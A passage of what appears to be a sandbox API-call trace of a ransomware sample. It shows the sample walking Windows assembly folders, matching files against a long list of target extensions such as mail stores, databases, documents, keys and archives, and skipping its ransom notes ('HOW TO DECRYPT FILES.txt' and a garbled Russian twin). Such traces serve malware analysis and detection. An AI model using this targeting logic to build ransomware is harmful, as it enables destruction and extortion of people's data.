(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mbox") returned 0 [0104.996] lstrlenA (lpString="*.mbox") returned 6 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.eml") returned 0 [0104.996] lstrlenA (lpString="*.eml") returned 5 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.pst") returned 0 [0104.996] lstrlenA (lpString="*.pst") returned 5 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.ost") returned 0 [0104.996] lstrlenA (lpString="*.ost") returned 5 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.idx") returned 0 [0104.996] lstrlenA (lpString="*.idx") returned 5 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.dbx") returned 0 [0104.996] lstrlenA (lpString="*.dbx") returned 5 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.sql") returned 0 [0104.996] lstrlenA (lpString="*.sql") returned 5 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mdb") returned 0 [0104.996] lstrlenA (lpString="*.mdb") returned 5 [0104.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.fdb") returned 0 [0104.996] lstrlenA (lpString="*.fdb") returned 5 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.wab") returned 0 [0104.997] lstrlenA (lpString="*.wab") returned 5 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.dat") returned 0 [0104.997] lstrlenA (lpString="*.dat") returned 5 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.txt") returned 0 [0104.997] lstrlenA (lpString="*.txt") returned 5 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0104.997] lstrlenA (lpString="*.jpeg") returned 6 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.jpg") returned 0 [0104.997] lstrlenA (lpString="*.jpg") returned 5 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.png") returned 0 [0104.997] lstrlenA (lpString="*.png") returned 5 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.php") returned 0 [0104.997] lstrlenA (lpString="*.php") returned 5 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.cs") returned 0 [0104.997] lstrlenA (lpString="*.cs") returned 4 [0104.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.cpp") returned 0 [0104.997] lstrlenA (lpString="*.cpp") returned 5 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.rar") returned 0 [0104.998] lstrlenA (lpString="*.rar") returned 5 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.zip") returned 0 [0104.998] lstrlenA (lpString="*.zip") returned 5 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.html") returned 0 [0104.998] lstrlenA (lpString="*.html") returned 6 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.htm") returned 0 [0104.998] lstrlenA (lpString="*.htm") returned 5 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0104.998] lstrlenA (lpString="*.xlsx") returned 6 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.xls") returned 0 [0104.998] lstrlenA (lpString="*.xls") returned 5 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mp4") returned 0 [0104.998] lstrlenA (lpString="*.mp4") returned 5 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.ppt") returned 0 [0104.998] lstrlenA (lpString="*.ppt") returned 5 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.pptx") returned 0 [0104.998] lstrlenA (lpString="*.pptx") returned 6 [0104.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.doc") returned 0 [0104.999] lstrlenA (lpString="*.doc") returned 5 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.dot") returned 0 [0104.999] lstrlenA (lpString="*.dot") returned 5 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.docx") returned 0 [0104.999] lstrlenA (lpString="*.docx") returned 6 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.7z") returned 0 [0104.999] lstrlenA (lpString="*.7z") returned 4 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.tar") returned 0 [0104.999] lstrlenA (lpString="*.tar") returned 5 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.bz2") returned 0 [0104.999] lstrlenA (lpString="*.bz2") returned 5 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.gz") returned 0 [0104.999] lstrlenA (lpString="*.gz") returned 4 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mkv") returned 0 [0104.999] lstrlenA (lpString="*.mkv") returned 5 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.eml") returned 0 [0104.999] lstrlenA (lpString="*.eml") returned 5 [0104.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.msg") returned 0 [0105.000] lstrlenA (lpString="*.msg") returned 5 [0105.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.edb") returned 0 [0105.000] lstrlenA (lpString="*.edb") returned 5 [0105.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.accdb") returned 0 [0105.000] lstrlenA (lpString="*.accdb") returned 7 [0105.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.odb") returned 0 [0105.000] lstrlenA (lpString="*.odb") returned 5 [0105.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.java") returned 0 [0105.000] lstrlenA (lpString="*.java") returned 6 [0105.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.asm") returned 0 [0105.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.pfx") returned 0 [0105.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.pem") returned 0 [0105.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.p12") returned 0 [0105.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.gpg") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.vsd") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.odg") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.raw") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.nef") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.svg") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.psd") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.vmx") returned 0 [0105.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.vdi") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.lay6") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.djvu") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.tiff") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.backup") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.pdf") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.cert") returned 0 [0105.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.docm") returned 0 [0105.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0105.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.dwg") returned 0 [0105.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.nd") returned 0 [0105.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.tlg") returned 0 [0105.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.lgb") returned 0 [0105.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mov") returned 0 [0105.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.xdw") returned 0 [0105.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.ods") returned 0 [0105.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.wav") returned 0 [0105.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mp3") returned 0 [0105.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.aiff") returned 0 [0105.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.flac") returned 0 [0105.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.m4a") returned 0 [0105.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.csv") returned 0 [0105.006] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8357524e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8357524e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8359b3ae, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xba600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.006] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.006] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x835e766f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x835e766f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="32088676b4c08d192aae910cac1dade4", cAlternateFileName="320886~1")) returned 0 [0105.006] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.006] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d009d05, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d009d05, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Linq", cAlternateFileName="SYSTEM~1.LIN")) returned 1 [0105.006] lstrcmpA (lpString1=".", lpString2="System.Data.Linq") returned -1 [0105.006] lstrcmpA (lpString1="..", lpString2="System.Data.Linq") returned -1 [0105.006] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.006] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.Linq" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq" [0105.006] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d009d05, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d009d05, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.007] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.007] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d009d05, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d009d05, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.007] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.007] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.007] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d009d05, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d009d05, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="748de10ea72fad908022d9507c7304fc", cAlternateFileName="748DE1~1")) returned 1 [0105.007] lstrcmpA (lpString1=".", lpString2="748de10ea72fad908022d9507c7304fc") returned -1 [0105.007] lstrcmpA (lpString1="..", lpString2="748de10ea72fad908022d9507c7304fc") returned -1 [0105.008] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\*.*") returned="*.*" [0105.008] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\", lpString2="748de10ea72fad908022d9507c7304fc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc" [0105.008] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d009d05, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d009d05, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.008] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.008] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d009d05, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d009d05, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d009d05, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.008] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.008] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.008] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ced9203, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1ced9203, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1cf4b624, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x266800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Linq.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.008] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.008] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Linq.ni.dll") returned -1 [0105.009] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Linq.ni.dll") returned -1 [0105.009] lstrcmpiA (lpString1="", lpString2="System.Data.Linq.ni.dll") returned -1 [0105.009] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\*.*") returned="*.*" [0105.009] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\" [0105.009] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Linq\\748de10ea72fad908022d9507c7304fc\\") returned="" [0105.009] lstrcatA (in: 